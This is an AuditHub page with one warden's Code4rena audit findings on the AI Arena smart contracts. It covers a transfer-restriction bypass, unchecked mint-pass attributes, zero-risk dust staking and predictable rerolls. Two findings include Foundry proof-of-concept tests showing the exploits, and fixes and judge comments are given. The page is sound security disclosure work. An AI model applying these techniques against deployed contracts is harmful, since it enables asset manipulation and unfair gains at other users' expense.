AI Arena - 0rpse's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between PokΓ©mon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 195/283

Findings: 4

Award: $3.36

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

GameItems.sol is an ERC1155 contract, when creating game items admins are able to specify whether the items are transferable or not. When safeTransferFrom is called there is a check to see if the item is transferable and only then the contract transfers the item but since the contract inherits from OZ's ERC1155 contract, a user is able to circumvent this check by calling inherited safeBatchTransferFrom function.

Impact

Nontransferable items are transferable. As of now there is only one game item which is a transferable item but if nontransferable items are added or existing transferability is set to nontransferable, there will be unexpected consequences.

Proof of Concept

Add the following test to GameItems.t.sol file after setUp() function.

    function testSafeBatchTransferFrom() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.createGameItem("testName",
        "testURI",
        false, //infinite supply
        false, //transferable
        100,
        100,
        100);

        _gameItemsContract.mint(1, 1);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 1, "");

        uint256[] memory batch = new uint256[](1);
        batch[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, batch, batch, "0x0");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 1), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 1), 0);
    }

Override safeBatchTransferFrom function and add the same check safeTransferFrom has.

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public
      override(ERC1155)
   {
        for (uint i; i < ids.length; ++i) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
   }

Assessed type

Access Control

#0 - c4-pre-sort

2024-02-22T03:37:38Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T03:37:45Z

raymondfam marked the issue as duplicate of #18

#2 - c4-pre-sort

2024-02-26T00:27:28Z

raymondfam marked the issue as duplicate of #575

#3 - c4-judge

2024-03-05T04:47:39Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-05T04:51:27Z

HickupHH3 marked the issue as satisfactory

Awards

1.2667 USDC - $1.27

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
edited-by-warden
:robot:_86_group
duplicate-366

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

When redeeming a mint pass, so users are able to specify fighterType and iconsType to get rare attributes they are not entitled to.

Proof of Concept

You can see a mint pass collection on OpenSea, only a small percentage of them are dendroids or have custom icons attributes. Also in the documentation it is mentioned that dendroids are very rare and more difficult to obtain than champions.

Mint passes are ERC721 tokens which get minted to users from AAMintPass, later users can redeem mint passes in FighterFarm to claim a fighter. The issue is that there are no rules enforced on the inputs of FighterFarm::redeemMintPass function, so users can set fighterType and iconsType however they like. https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

   function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    )
        external
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length &&
            mintPassDnas.length == fighterTypes.length &&
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender,
                uint256(keccak256(abi.encode(mintPassDnas[i]))),
                modelHashes[i],
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Restrict access to the redeemMintPass function or implement validation mechanisms to verify the attributes selected by users, ensuring they match attributes defined on mint pass.

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T07:58:47Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T07:59:04Z

raymondfam marked the issue as duplicate of #33

#2 - c4-pre-sort

2024-02-26T00:53:43Z

raymondfam marked the issue as duplicate of #1626

#3 - c4-judge

2024-03-05T10:56:27Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-06T03:34:53Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L245 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L535 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

Impact

If staked token amount is very little users do not lose their staked tokens while still being able to get points for fights they win, even though the staked amount is very little this has adverse effects because a user might lose a hundred times consecutively but there are no stakes getting put at risk, so on the first win they can bounce back as they do not have to reclaim stakes at risk. Also their staking factor will be the same with anyone who stakes NRN tokens in the range 0 < x < 4.

Proof of Concept

stakeNRN function lets users stake any amount greater than zero. In _getStakingFactor staking factor is calculated as square root of the amount staked, also if staking factor turns out to be 0 it is adjusted to be 1. This means that a user who stakes 1 wei of NRN tokens and a user who stakes 3.999... NRN tokens both have staking factor of 1. Furthermore when results are being updated, _addResultPoints will calculate current stake at risk but due to rounding this value can be zero with dust amounts of stake, therefore no stakes will be put to risk.

Add the following test to RankedBattle.t.sol:

    function testStakeDustAmount() public {
        address staker = vm.addr(3);
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);
        vm.prank(staker);
        _rankedBattleContract.stakeNRN(999, 0); //stake dust
        assertEq(_rankedBattleContract.amountStaked(0), 999);
        assertEq(_rankedBattleContract.stakingFactor(0), 1); //staking factor is 1

        address claimee = vm.addr(4);
        _mintFromMergingPool(claimee);
        _fundUserWith4kNeuronByTreasury(claimee);
        vm.prank(claimee);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 1);
        assertEq(_rankedBattleContract.amountStaked(1), 4_000 * 10 ** 18);

        for (uint i; i < 100; i++) {
            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, false); //staker loses fights
        }
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, 0), 0);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //staker wins 1 fight

        _rankedBattleContract.setNewRound();
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(staker, 0), 750);
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(claimee, 0), 47250);

        vm.prank(staker);
        _rankedBattleContract.claimNRN();
        assertEq(_rankedBattleContract.amountClaimed(staker) > 0, true);
        vm.prank(claimee);
        _rankedBattleContract.claimNRN();
        assertEq(_rankedBattleContract.amountClaimed(claimee) > 0, true);
    }

Minimum amount allowed to stake should not be one wei, rather it should atleast be that the user risks staked tokens and stakingFactor should be adjusted to one only if staked amount is close to one.

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T16:01:10Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-22T16:01:18Z

raymondfam marked the issue as duplicate of #38

#2 - c4-judge

2024-03-07T02:58:22Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-07T03:15:51Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

In FighterFarm contract users are presented with the ability to reroll their fighters' physical appearance, element and weight. The price of this action is 1000 NRN tokens however rerolling function lacks genuine randomness and the outcome of rerolls are predictable.

Impact

This predictability allows users to potentially manipulate the system by avoiding rerolls if the anticipated outcome is unfavorable. Adverse impacts on revenue generation and user engagement.

Proof of Concept

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379-L389 As all of the variables and the computation that contribute to rerolling are known a user is able to guess the outcome.

Implement proper randomness mechanism for rerolling, such as integrating verifiable random functions or oracles.

Assessed type

Other

#0 - c4-pre-sort

2024-02-23T03:44:15Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-23T03:44:27Z

raymondfam marked the issue as duplicate of #53

#2 - raymondfam

2024-02-23T03:44:37Z

Inadequate elaboration.

#3 - c4-judge

2024-03-06T03:46:16Z

HickupHH3 marked the issue as partial-75

#4 - c4-judge

2024-03-06T03:49:26Z

HickupHH3 changed the severity to 3 (High Risk)

#5 - c4-judge

2024-03-15T02:10:55Z

HickupHH3 changed the severity to 2 (Med Risk)

#6 - c4-judge

2024-03-20T01:04:24Z

HickupHH3 marked the issue as duplicate of #376

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter